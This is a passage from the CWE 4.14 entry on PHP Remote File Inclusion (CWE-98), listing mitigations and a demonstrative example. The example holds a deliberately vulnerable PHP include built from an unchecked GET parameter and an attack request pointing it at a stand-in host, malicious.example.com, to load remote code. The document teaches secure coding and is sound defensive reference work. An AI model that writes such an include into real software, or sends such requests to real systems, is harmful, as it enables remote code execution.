239
input validation, consider all potentially relevant properties, including length, type of input, the
full range of acceptable values, missing or extra inputs, syntax, consistency across related
fields, and conformance to business rules. As an example of business rule logic, "boat" may be
syntactically valid because it only contains alphanumeric characters, but it is not valid if the input
is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for
malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if
the code's environment changes. This can give attackers enough room to bypass the intended
validation. However, denylists can be useful for detecting potential attacks or determining which
inputs are so malformed that they should be rejected outright. When validating filenames, use
stringent lists that limit the character set to be used. If feasible, only allow a single "." character
in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such
as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters.
This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/"
is insufficient protection if the filesystem also supports the use of "\" as a directory separator.
Another possible error could occur when the filtering is applied in a way that still produces
dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string
in a sequential fashion, two instances of "../" would be removed from the original string, but the
remaining characters would still form the "../" string.
Effectiveness = High
Phase: Architecture and Design
Phase: Operation
Strategy = Attack Surface Reduction
Store library, include, and utility files outside of the web document root, if possible. Otherwise,
store them in a separate directory and use the web server's access control capabilities to prevent
attackers from directly requesting them. One common practice is to define a fixed constant in
each calling program, then check for the existence of the constant in the library/include file; if the
constant does not exist, then the file was directly requested, and it can exit immediately. This
significantly reduces the chance of an attacker being able to bypass any protection mechanisms
that are in the base program but not in the include files. It will also reduce the attack surface.
Phase: Architecture and Design
Phase: Implementation
Strategy = Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters
or arguments, cookies, anything read from the network, environment variables, reverse DNS
lookups, query results, request headers, URL components, e-mail, files, filenames, databases,
and any external systems that provide data to the application. Remember that such inputs
may be obtained indirectly through API calls. Many file inclusion problems occur because the
programmer assumed that certain inputs could not be modified, especially for cookies and URL
components.
Phase: Operation
Strategy = Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial
in cases in which the code cannot be fixed (because it is controlled by a third party), as an
emergency prevention measure while more comprehensive software assurance measures are
applied, or to provide defense in depth.
Effectiveness = Moderate
An application firewall might not cover all possible input vectors. In addition, attack techniques
might be available to bypass the protection mechanism, such as using malformed inputs that can
CWE Version 4.14
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP
Remote File Inclusion')
CWE-98: Improper Control of Filename for Include/Require
Statement in PHP Program ('PHP Remote File Inclusion') 240
still be processed by the component that receives those inputs. Depending on functionality, an
application firewall might inadvertently reject or modify legitimate requests. Finally, some manual
effort may be required for customization.
Phase: Operation
Phase: Implementation
Strategy = Environment Hardening
Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or
later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted,
or disabled by default.
Phase: Operation
Phase: Implementation
Strategy = Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During
implementation, develop the application so that it does not rely on this feature, but be wary of
implementing a register_globals emulation that is subject to weaknesses such as CWE-95,
CWE-621, and similar issues. Often, programmers do not protect direct access to files intended
only to be included by core programs. These include files may assume that critical variables have
already been initialized by the calling program. As a result, the use of register_globals combined
with the ability to directly access the include file may allow attackers to conduct file inclusion
attacks. This remains an extremely common pattern as of 2009.
Phase: Operation
Strategy = Environment Hardening
Set allow_url_fopen to false, which limits the ability to include files from remote locations.
Effectiveness = High
Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition,
this setting does not protect the code from path traversal attacks (CWE-22), which are frequently
successful against the same vulnerable code that allows remote file inclusion.
Demonstrative Examples
Example 1:
The following code, victim.php, attempts to include a function contained in a separate PHP page
on the server. It builds the path to the file by using the supplied 'module_name' parameter and
appending the string '/function.php' to it.
Example Language: PHP (Bad)
$dir = $_GET['module_name'];
include($dir . "/function.php");
The problem with the above code is that the value of $dir is not restricted in any way, and
a malicious user could manipulate the 'module_name' parameter to force inclusion of an
unanticipated file. For example, an attacker could request the above PHP page (example.php) with
a 'module_name' of "http://malicious.example.com" by using the following request string:
Example Language: (Attack)
victim.php?module_name=http://malicious.example.com
Upon receiving this request, the code would set 'module_name' to the value "http://
malicious.example.com" and would attempt to include http://malicious.example.com/function.php,
along with any malicious code it contains.
CWE Version 4.14
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP
Remote File Inclusion')
CWE-98: Improper Control of Filename for Include/Require
Statement in PHP Program ('PHP Remote File Inclusion')